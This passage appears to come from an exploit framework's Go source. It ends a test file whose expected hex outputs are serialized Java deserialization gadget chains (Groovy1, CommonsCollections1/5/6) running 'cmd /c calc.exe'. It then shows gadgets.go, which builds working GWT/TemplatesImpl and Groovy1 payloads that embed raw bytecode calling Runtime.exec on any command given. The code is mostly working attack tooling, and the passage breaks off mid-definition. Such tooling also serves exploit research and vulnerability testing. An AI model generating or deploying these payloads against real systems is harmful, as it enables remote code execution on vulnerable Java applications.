2e65786571007e0013757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a99020000787000000002767200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000078707672000c6a6176612e696f2e46696c65042da4450e0de4ff0300014c00047061746871007e000978707074000765786563757465737200266a6176612e7574696c2e636f6e63757272656e742e436f6e63757272656e74486173684d61706499de129d87293d03000349000b7365676d656e744d61736b49000c7365676d656e7453686966745b00087365676d656e74737400315b4c6a6176612f7574696c2f636f6e63757272656e742f436f6e63757272656e74486173684d6170245365676d656e743b78700000000f0000001c757200315b4c6a6176612e7574696c2e636f6e63757272656e742e436f6e63757272656e74486173684d6170245365676d656e743b52773f41329b39740200007870000000107372002e6a6176612e7574696c2e636f6e63757272656e742e436f6e63757272656e74486173684d6170245365676d656e741f364c905893293d02000146000a6c6f6164466163746f72787200286a6176612e7574696c2e636f6e63757272656e742e6c6f636b732e5265656e7472616e744c6f636b6655a82c2cc86aeb0200014c000473796e6374002f4c6a6176612f7574696c2f636f6e63757272656e742f6c6f636b732f5265656e7472616e744c6f636b2453796e633b7870737200346a6176612e7574696c2e636f6e63757272656e742e6c6f636b732e5265656e7472616e744c6f636b244e6f6e6661697253796e63658832e7537bbf0b0200007872002d6a6176612e7574696c2e636f6e63757272656e742e6c6f636b732e5265656e7472616e744c6f636b2453796e63b81ea294aa445a7c020000787200356a6176612e7574696c2e636f6e63757272656e742e6c6f636b732e416273747261637451756575656453796e6368726f6e697a65726655a843753f52e30200014900057374617465787200366a6176612e7574696c2e636f6e63757272656e742e6c6f636b732e41627374726163744f776e61626c6553796e6368726f6e697a657233dfafb9ad6d6fa90200007870000000003f4000007371007e00207371007e0024000000003f4000007371007e00207371007e0024000000003f4000007371007e00207371007e0024000000003f4000007371007e00207371007e0024000000003f4000007371007e00207371007e0024000000003f4000007371007e00207371007e0024000000003f4000007371007e00207371007e0024000000003f4000007371007e00207371007e0024000000003f4000007371007e00207371007e0024000000003f4000007371007e00207371007e0024000000003f4000007371007e00207371007e0024000000003f4000007371007e00207371007e0024000000003f4000007371007e00207371007e0024000000003f4000007371007e00207371007e0024000000003f4000007371007e00207371007e0024000000003f400000707078740008656e747279536574767200126a6176612e6c616e672e4f7665727269646500000000000000000000007870" got, ok := CreateGroovy1("cmd /c calc.exe") if !ok || fmt.Sprintf("%02x", got) != want { t.Fatalf("Invalid CreateGroovy1 output... got (val, len: %d): %q got (hex): %02x want(hex, hexlen: %d): %s\n", len(got)*2, got, got, len(want), want) } } func TestCreateCommonsCollections6(t *testing.T) { want := "aced0005737200116a6176612e7574696c2e48617368536574ba44859596b8b7340300007870770c000000023f40000000000001737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e672f4f626a6563743b4c00036d617074000f4c6a6176612f7574696c2f4d61703b7870740003666f6f7372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e00037870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001b00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e001b7371007e00137571007e001800000002707571007e001800000000740006696e766f6b657571007e001b00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e00187371007e0013757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000078700000000174000f636d64202f632063616c632e657865740004657865637571007e001b0000000171007e00207371007e000f737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000077080000001000000000787878" got, ok := CreateCommonsCollections6("cmd", "/c calc.exe") if !ok || fmt.Sprintf("%02x", got) != want { t.Fatalf("Invalid CreateCommonsCollections6 output... got (val, len: %d): %q got (hex): %02x want(hex, hexlen: %d): %s\n", len(got)*2, got, got, len(want), want) } } func TestCreateCommonsCollections5(t *testing.T) { want := "aced00057372002e6a617661782e6d616e6167656d656e742e42616441747472696275746556616c7565457870457863657074696f6ed4e7daab632d46400200014c000376616c7400124c6a6176612f6c616e672f4f626a6563743b787200136a6176612e6c616e672e457863657074696f6ed0fd1f3e1a3b1cc4020000787200136a6176612e6c616e672e5468726f7761626c65d5c635273977b8cb0300044c000563617573657400154c6a6176612f6c616e672f5468726f7761626c653b4c000d64657461696c4d6573736167657400124c6a6176612f6c616e672f537472696e673b5b000a737461636b547261636574001e5b4c6a6176612f6c616e672f537461636b5472616365456c656d656e743b4c001473757070726573736564457863657074696f6e737400104c6a6176612f7574696c2f4c6973743b787071007e0008707572001e5b4c6a6176612e6c616e672e537461636b5472616365456c656d656e743b02462a3c3cfd22390200007870000000037372001b6a6176612e6c616e672e537461636b5472616365456c656d656e746109c59a2636dd8502000449000a6c696e654e756d6265724c000e6465636c6172696e67436c61737371007e00054c000866696c654e616d6571007e00054c000a6d6574686f644e616d6571007e000578700000005174002679736f73657269616c2e7061796c6f6164732e436f6d6d6f6e73436f6c6c656374696f6e7335740018436f6d6d6f6e73436f6c6c656374696f6e73352e6a6176617400096765744f626a6563747371007e000b0000003371007e000d71007e000e71007e000f7371007e000b0000002274001979736f73657269616c2e47656e65726174655061796c6f616474001447656e65726174655061796c6f61642e6a6176617400046d61696e737200266a6176612e7574696c2e436f6c6c656374696f6e7324556e6d6f6469666961626c654c697374fc0f2531b5ec8e100200014c00046c69737471007e00077872002c6a6176612e7574696c2e436f6c6c656374696f6e7324556e6d6f6469666961626c65436f6c6c656374696f6e19420080cb5ef71e0200014c0001637400164c6a6176612f7574696c2f436f6c6c656374696f6e3b7870737200136a6176612e7574696c2e41727261794c6973747881d21d99c7619d03000149000473697a657870000000007704000000007871007e001a78737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b657971007e00014c00036d617074000f4c6a6176612f7574696c2f4d61703b7870740003666f6f7372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e00017870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d6571007e00055b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e003200000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e00327371007e002b7571007e002f00000002707571007e002f00000000740006696e766f6b657571007e003200000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e002f7371007e002b757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000078700000000174000f636d64202f632063616c632e657865740004657865637571007e00320000000171007e00377371007e0027737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f40000000000000770800000010000000007878" got, ok := CreateCommonsCollections5("cmd", "/c calc.exe") if !ok || fmt.Sprintf("%02x", got) != want { t.Fatalf("Invalid CreateCommonsCollections5 output... got (val, len: %d): %q got (hex): %02x want(hex, hexlen: %d): %s\n", len(got)*2, got, got, len(want), want) } } func TestCreateCommonsCollections1(t *testing.T) { want := "aced00057372003273756e2e7265666c6563742e616e6e6f746174696f6e2e416e6e6f746174696f6e496e766f636174696f6e48616e646c657255caf50f15cb7ea50200024c000c6d656d62657256616c75657374000f4c6a6176612f7574696c2f4d61703b4c0004747970657400114c6a6176612f6c616e672f436c6173733b7870737d00000001000d6a6176612e7574696c2e4d6170787200176a6176612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b78707371007e00007372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e747400124c6a6176612f6c616e672f4f626a6563743b7870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001e00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e001e7371007e00167571007e001b00000002707571007e001b00000000740006696e766f6b657571007e001e00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e001b7371007e0016757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000078700000000174000f636d64202f632063616c632e657865740004657865637571007e001e0000000171007e00237371007e0011737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f40000000000000770800000010000000007878767200126a6176612e6c616e672e4f766572726964650000000000000000000000787071007e003a" got, ok := CreateCommonsCollections1("cmd", "/c calc.exe") if !ok || fmt.Sprintf("%02x", got) != want { t.Fatalf("Invalid CreateCommonsCollections1 output... got (val, len: %d): %q got (hex): %02x want(hex, hexlen: %d): %s\n", len(got)*2, got, got, len(want), want) } } ================================================ FILE: java/gadgets.go ================================================ /* The Java analog to the dotnet deserialization generation package. This allows for the creation of java deserialization payload gadgets in much the same way as we do for the dotnet package. This is done using a number of structs and methods to construct the "records" in accordance with the java spec: https://docs.oracle.com/javase/8/docs/platform/serialization/spec/protocol.html#10258 This is not a comprehensive reproduction of the java serialization protocol but only as-needed given what gadgets we have reproduced thus far. Usage of these gadget generation functions could look like this: gadget, ok := CreateGroovy1("cmd.exe /c whoami>C:\\temp\\pr00f.txt") if !ok { return false } // use gadget var... */ package java import ( "fmt" "os" "github.com/vulncheck-oss/go-exploit/output" "github.com/vulncheck-oss/go-exploit/random" "github.com/vulncheck-oss/go-exploit/transform" ) // Generates a gadget for use in GWT-based deserialization payloads. // Encode using EncodeBase64GWT, not enforced here. func CreateGWT(command string) ([]byte, bool) { objects := []TCContent{} objects = append(objects, TCBlockData{Value: "\x00\x00\x00\x01", OmitEnd: true}) objects = append(objects, TCString{Value: "gridType"}) rootObject := TCObject{ InfoContent: TCClassDesc{ Name: "java.util.PriorityQueue", Flags: 0x03, // SC_SERIALIZABLE|SC_WRITE_METHOD SerialVersionUID: []byte{0x94, 0xda, 0x30, 0xb4, 0xfb, 0x3f, 0x82, 0xb1}, Fields: []Field{ IntegerField{Name: "size"}, ObjectField{Name: "comparator", Value: "Ljava/util/Comparator;"}, }, }, } rootObject.TCContents = append(rootObject.TCContents, TCInteger{Value: 2}) // field: "size" comparatorObject := TCObject{ InfoContent: TCClassDesc{ Name: "org.apache.commons.beanutils.BeanComparator", Flags: SCSerializableCode, SerialVersionUID: []byte{0xe3, 0xa1, 0x88, 0xea, 0x73, 0x22, 0xa4, 0x48}, Fields: []Field{ ObjectField{Name: "comparator", Value: TCReference{Handler: []byte{0x00, 0x7e, 0x00, 0x02}}}, ObjectField{Name: "property", Value: "Ljava/lang/String;"}, }, }, } comparableComparatorObject := TCObject{ InfoContent: TCClassDesc{ Name: "org.apache.commons.collections.comparators.ComparableComparator", Flags: SCSerializableCode, SerialVersionUID: []byte{0xfb, 0xf4, 0x99, 0x25, 0xb8, 0x6e, 0xb1, 0x37}, Fields: []Field{}, }, } // nest level 2 classdata, terminates here comparatorObject.TCContents = append(comparatorObject.TCContents, comparableComparatorObject) // comparator.field: "comparator" comparatorObject.TCContents = append(comparatorObject.TCContents, TCString{Value: "outputProperties"}) // comparator.field: "property" // nest level 1 rootObject.TCContents = append(rootObject.TCContents, comparatorObject) // rootObject.field: "comparator" // @objectAnnotations: // nest level 2 rootObject.TCContents = append(rootObject.TCContents, TCBlockData{Value: "\x00\x00\x00\x03", OmitEnd: true}) // rootObject.objectAnnotations[0] templatesImplObject := TCObject{ InfoContent: TCClassDesc{ Name: "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl", Flags: 0x03, SerialVersionUID: []byte{0x09, 0x57, 0x4f, 0xc1, 0x6e, 0xac, 0xab, 0x33}, Fields: []Field{ IntegerField{Name: "_indentNumber"}, IntegerField{Name: "_transletIndex"}, ArrayField{Name: "_bytecodes", Value: "[[B"}, ArrayField{Name: "_class", Value: "[Ljava/lang/Class;"}, ObjectField{Name: "_name", Value: TCReference{Handler: []byte{0x00, 0x7e, 0x00, 0x05}}}, ObjectField{Name: "_outputProperties", Value: "Ljava/util/Properties;"}, }, }, } classData := "\xca\xfe\xba\xbe\x00\x00\x00\x34\x00\x1d\x01\x00\x04\x45\x76\x69\x6c\x07\x00\x01\x01\x00\x40\x63\x6f\x6d\x2f\x73\x75\x6e\x2f\x6f\x72\x67\x2f\x61\x70\x61\x63\x68\x65\x2f\x78\x61\x6c\x61\x6e\x2f\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2f\x78\x73\x6c\x74\x63\x2f\x72\x75\x6e\x74\x69\x6d\x65\x2f\x41\x62\x73\x74\x72\x61\x63\x74\x54\x72\x61\x6e\x73\x6c\x65\x74\x07\x00\x03\x01\x00\x08\x3c\x63\x6c\x69\x6e\x69\x74\x3e\x01\x00\x03\x28\x29\x56\x01\x00\x11\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x52\x75\x6e\x74\x69\x6d\x65\x07\x00\x07\x01\x00\x0a\x67\x65\x74\x52\x75\x6e\x74\x69\x6d\x65\x01\x00\x15\x28\x29\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x52\x75\x6e\x74\x69\x6d\x65\x3b\x0c\x00\x09\x00\x0a\x0a\x00\x08\x00\x0b\x01" + transform.PackBigInt16(len(command)) + command + "\x08\x00\x0d\x01\x00\x04\x65\x78\x65\x63\x01\x00\x27\x28\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x29\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x50\x72\x6f\x63\x65\x73\x73\x3b\x0c\x00\x0f\x00\x10\x0a\x00\x08\x00\x11\x01\x00\x06\x3c\x69\x6e\x69\x74\x3e\x0c\x00\x13\x00\x06\x0a\x00\x04\x00\x14\x01\x00\x09\x74\x72\x61\x6e\x73\x66\x6f\x72\x6d\x01\x00\x72\x28\x4c\x63\x6f\x6d\x2f\x73\x75\x6e\x2f\x6f\x72\x67\x2f\x61\x70\x61\x63\x68\x65\x2f\x78\x61\x6c\x61\x6e\x2f\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2f\x78\x73\x6c\x74\x63\x2f\x44\x4f\x4d\x3b\x5b\x4c\x63\x6f\x6d\x2f\x73\x75\x6e\x2f\x6f\x72\x67\x2f\x61\x70\x61\x63\x68\x65\x2f\x78\x6d\x6c\x2f\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2f\x73\x65\x72\x69\x61\x6c\x69\x7a\x65\x72\x2f\x53\x65\x72\x69\x61\x6c\x69\x7a\x61\x74\x69\x6f\x6e\x48\x61\x6e\x64\x6c\x65\x72\x3b\x29\x56\x01\x00\x39\x63\x6f\x6d\x2f\x73\x75\x6e\x2f\x6f\x72\x67\x2f\x61\x70\x61\x63\x68\x65\x2f\x78\x61\x6c\x61\x6e\x2f\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2f\x78\x73\x6c\x74\x63\x2f\x54\x72\x61\x6e\x73\x6c\x65\x74\x45\x78\x63\x65\x70\x74\x69\x6f\x6e\x07\x00\x18\x01\x00\xa6\x28\x4c\x63\x6f\x6d\x2f\x73\x75\x6e\x2f\x6f\x72\x67\x2f\x61\x70\x61\x63\x68\x65\x2f\x78\x61\x6c\x61\x6e\x2f\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2f\x78\x73\x6c\x74\x63\x2f\x44\x4f\x4d\x3b\x4c\x63\x6f\x6d\x2f\x73\x75\x6e\x2f\x6f\x72\x67\x2f\x61\x70\x61\x63\x68\x65\x2f\x78\x6d\x6c\x2f\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2f\x64\x74\x6d\x2f\x44\x54\x4d\x41\x78\x69\x73\x49\x74\x65\x72\x61\x74\x6f\x72\x3b\x4c\x63\x6f\x6d\x2f\x73\x75\x6e\x2f\x6f\x72\x67\x2f\x61\x70\x61\x63\x68\x65\x2f\x78\x6d\x6c\x2f\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2f\x73\x65\x72\x69\x61\x6c\x69\x7a\x65\x72\x2f\x53\x65\x72\x69\x61\x6c\x69\x7a\x61\x74\x69\x6f\x6e\x48\x61\x6e\x64\x6c\x65\x72\x3b\x29\x56\x01\x00\x04\x43\x6f\x64\x65\x01\x00\x0a\x45\x78\x63\x65\x70\x74\x69\x6f\x6e\x73\x00\x21\x00\x02\x00\x04\x00\x00\x00\x00\x00\x04\x00\x08\x00\x05\x00\x06\x00\x01\x00\x1b\x00\x00\x00\x16\x00\x02\x00\x00\x00\x00\x00\x0a\xb8\x00\x0c\x12\x0e\xb6\x00\x12\x57\xb1\x00\x00\x00\x00\x00\x01\x00\x13\x00\x06\x00\x01\x00\x1b\x00\x00\x00\x11\x00\x01\x00\x01\x00\x00\x00\x05\x2a\xb7\x00\x15\xb1\x00\x00\x00\x00\x00\x01\x00\x16\x00\x17\x00\x02\x00\x1b\x00\x00\x00\x0d\x00\x00\x00\x03\x00\x00\x00\x01\xb1\x00\x00\x00\x00\x00\x1c\x00\x00\x00\x04\x00\x01\x00\x19\x00\x01\x00\x16\x00\x1a\x00\x02\x00\x1b\x00\x00\x00\x0d\x00\x00\x00\x04\x00\x00\x00\x01\xb1\x00\x00\x00\x00\x00\x1c\x00\x00\x00\x04\x00\x01\x00\x19\x00\x00" bytesCodeArray := TCArray{ InfoContent: TCClassDesc{ Name: "[[B", Flags: SCSerializableCode, SerialVersionUID: []byte{0x4b, 0xfd, 0x19, 0x15, 0x67, 0x67, 0xdb, 0x37}, Fields: []Field{}, }, TCContents: []TCContent{ TCArray{ InfoContent: TCClassDesc{ Name: "[B", SerialVersionUID: []byte{0xac, 0xf3, 0x17, 0xf8, 0x06, 0x08, 0x54, 0xe0}, Flags: SCSerializableCode, Fields: []Field{}, }, TCContents: []TCContent{ // actual array value ArrayBytes{Data: []byte(classData)}, }, }, }, } // []classdata for templatesImpl templatesImplObject.TCContents = append(templatesImplObject.TCContents, TCInteger{Value: 0}) // _indentNumber (int) templatesImplObject.TCContents = append(templatesImplObject.TCContents, TCInteger{Value: 0}) // _transletIndex (int) templatesImplObject.TCContents = append(templatesImplObject.TCContents, bytesCodeArray) // _bytescodes (array) templatesImplObject.TCContents = append(templatesImplObject.TCContents, TCNull{}) // _class (array) if os.Getenv("DEBUGMODE") == "1" { templatesImplObject.TCContents = append(templatesImplObject.TCContents, TCString{Value: "Evil"}) // _name } else { templatesImplObject.TCContents = append(templatesImplObject.TCContents, TCString{Value: random.RandLetters(4)}) // _name } templatesImplObject.TCContents = append(templatesImplObject.TCContents, TCNull{}) // _outputProperties // objectAnnotations for templatesImpl templatesImplObject.TCContents = append(templatesImplObject.TCContents, TCBlockData{Value: "\x00"}) rootObject.TCContents = append(rootObject.TCContents, templatesImplObject) // rootObject.objectAnnotations[1] rootObject.TCContents = append(rootObject.TCContents, TCReference{Handler: []byte{0x00, 0x7e, 0x00, 0x0e}}) rootObject.TCContents = append(rootObject.TCContents, TCEndBlockData{}) // finalize the gadget objects = append(objects, rootObject) binaryStream := []byte{} binaryStream = append(binaryStream, StreamMagicCode[:]...) binaryStream = append(binaryStream, StreamVersionCode...) for _, object := range objects { objectBin, ok := object.ToBytes() if !ok { output.PrintfFrameworkError("Failed to convert object into bytes: %q", object) return []byte{}, false } binaryStream = append(binaryStream, objectBin...) } return binaryStream, true } // Generates the Groovy1 gadget payload. func CreateGroovy1(command string) ([]byte, bool) { finalObject := []byte{} finalObject = append(finalObject, StreamMagicCode[:]...) finalObject = append(finalObject, StreamVersionCode...) rootObject := TCObject{ InfoContent: TCClassDesc{ Name: "sun.reflect.annotation.AnnotationInvocationHandler", Flags: SCSerializableCode, SerialVersionUID: []byte{0x55, 0xca, 0xf5, 0x0f, 0x15, 0xcb, 0x7e, 0xa5}, Fields: []Field{ ObjectField{Name: "memberValues", Value: "Ljava/util/Map;"}, ObjectField{Name: "type", Value: "Ljava/lang/Class;"}, }, }, } proxyMap := TCObject{ InfoContent: TCProxyClassDesc{ Interfaces: []string{"java.util.Map"}, SuperClassDesc: TCClassDesc{ Name: "java.lang.reflect.Proxy", Flags: SCSerializableCode, SerialVersionUID: []byte{0xe1, 0x27, 0xda, 0x20, 0xcc, 0x10, 0x43, 0xcb}, Fields: []Field{ ObjectField{Name: "h", Value: "Ljava/lang/reflect/InvocationHandler;"}, }, }, }, } convertedClosure := TCObject{ InfoContent: TCClassDesc{ Name: "org.codehaus.groovy.runtime.ConvertedClosure", Flags: SCSerializableCode, SerialVersionUID: []byte{0x10, 0x23, 0x37, 0x19, 0xf7, 0x15, 0xdd, 0x1b}, Fields: []Field{ ObjectField{Name: "methodName", Value: "Ljava/lang/String;"}, }, SuperClassDesc: TCClassDesc{ Name: "org.codehaus.groovy.runtime.ConversionHandler", Flags: SCSerializableCode, SerialVersionUID: []byte{0x10, 0x23, 0x37, 0x1a, 0xd6, 0x01, 0xbc, 0x1b}, Fields: []Field{ ObjectField{Name: "delegate", Value: "Ljava/lang/Object;"}, ObjectField{Name: "handleCache", Value: "Ljava/util/concurrent/ConcurrentHashMap;"}, }, }, }, } methodClosure := TCObject{ InfoContent: TCClassDesc{ Name: "org.codehaus.groovy.runtime.MethodClosure", Flags: SCSerializableCode, SerialVersionUID: []byte{0x11, 0x0e, 0x3e, 0x84, 0x8f, 0xbd, 0xce, 0x48}, Fields: []Field{ ObjectField{Name: "method", Value: TCReference{Handler: []byte{0x00, 0x7e, 0x00, 0x09}}}, }, SuperClassDesc: TCClassDesc{ Name: "groovy.lang.Closure", Flags: SCSerializableCode, SerialVersionUID: []byte{0x3c, 0xa0, 0xc7, 0x66, 0x16, 0x12, 0x6c, 0x5a}, Fields: []Field{ IntegerField{Name: "directive"}, IntegerField{Name: "maximumNumberOfParameters"}, IntegerField{Name: "resolveStrategy"}, ObjectField{Name: "bcw", Value: "Lorg/codehaus/groovy/runtime/callsite/BooleanClosureWrapper;"}, ObjectField{Name: "delegate", Value: TCReference{Handler: []byte{0x00, 0x7e, 0x00, 0x0b}}}, ObjectField{Name: "owner", Value: TCReference{Handler: []byte{0x00, 0x7e, 0x00, 0x0b}}}, ArrayField{Name: "parameterTypes", Value: "[Ljava/lang/Class;"}, ObjectField{Name: "thisObject", Value: TCReference{Handler: []byte{0x00, 0x7e, 0x00, 0x0b}}}, }, }, }, } paramTypesArray := TCArray{ InfoContent: TCClassDesc{ Name: "[Ljava.lang.Class;", Flags: SCSerializableCode, SerialVersionUID: []byte{0xab, 0x16, 0xd7, 0xae, 0xcb, 0xcd, 0x5a, 0x99}, Fields: []Field{}, }, TCContents: []TCContent{ TCClass{ InfoContent: TCClassDesc{ Name: "[Ljava.lang.String;", Flags: SCSerializableCode, SerialVersionUID: []byte{0xad, 0xd2, 0x56, 0xe7, 0xe9, 0x1d, 0x7b, 0x47}, Fields: []Field{}, }, }, TCClass{ InfoContent: TCClassDesc{ Name: "java.io.File", SerialVersionUID: []byte{0x04, 0x2d, 0xa4, 0x45, 0x0e, 0x0d, 0xe4, 0xff}, Flags: 0x03, Fields: []Field{ ObjectField{Name: "path", Value: TCReference{Handler: []byte{0x00, 0x7e, 0x00, 0x09}}}, }, }, }, }, } methodClosure.TCContents = []TCContent{ TCInteger{Value: 0}, // directive TCInteger{Value: 2}, // maximumNumberOfParameters TCInteger{Value: 0}, // resolveStrategy TCNull{}, // bcw TCString{Value: command}, // delegate TCReference{Handler: []byte{0x00, 0x7e, 0x00, 0x13}}, // owner paramTypesArray, // parameterTypes TCNull{}, // thisObject TCString{Value: "execute"}, // method } concurrentHashMap := TCObject{ InfoContent: TCClassDesc{ Name: "java.util.concurrent.ConcurrentHashMap", SerialVersionUID: []byte{0x64, 0x99, 0xde, 0x12, 0x9d, 0x87, 0x29, 0x3d}, Flags: 0x03, Fields: []Field{ IntegerField{Name: "segmentMask"}, IntegerField{Name: "segmentShift"}, ArrayField{Name: "segments", Value: "[Ljava/util/concurrent/ConcurrentHashMap$Segment;"}, }, }, } segmentsArray := TCArray{ InfoContent: TCClassDesc{ Name: "[Ljava.util.concurrent.ConcurrentHashMap$Segment;", Flags: SCSerializableCode, SerialVersionUID: []byte{0x52, 0x77, 0x3f, 0x41, 0x32, 0x9b, 0x39, 0x74}, Fields: []Field{}, }, } segment0 := TCObject{ InfoContent: TCClassDesc{ Name: "java.util.concurrent.ConcurrentHashMap$Segment", Flags: SCSerializableCode, SerialVersionUID: []byte{0x1f, 0x36, 0x4c, 0x90, 0x58, 0x93, 0x29, 0x3d}, Fields: []Field{ FloatField{Name: "loadFactor"}, }, SuperClassDesc: TCClassDesc{ Name: "java.util.concurrent.locks.ReentrantLock", Flags: SCSerializableCode, SerialVersionUID: []byte{0x66, 0x55, 0xa8, 0x2c, 0x2c, 0xc8, 0x6a, 0xeb}, Fields: []Field{ ObjectField{Name: "sync", Value: "Ljava/util/concurrent/locks/ReentrantLock$Sync;"}, }, }, }, } nonfairSync := TCObject{ InfoContent: TCClassDesc{ Name: "java.util.concurrent.locks.ReentrantLock$NonfairSync", Flags: SCSerializableCode, SerialVersionUID: []byte{0x65, 0x88, 0x32, 0xe7, 0x53, 0x7b, 0xbf, 0x0b}, Fields: []Field{}, SuperClassDesc: TCClassDesc{ Name: "java.util.concurrent.locks.ReentrantLock$Sync", Flags: SCSerializableCode, SerialVersionUID: []byte{0xb8, 0x1e, 0xa2, 0x94, 0xaa, 0x44, 0x5a, 0x7c}, Fields: []Field{}, 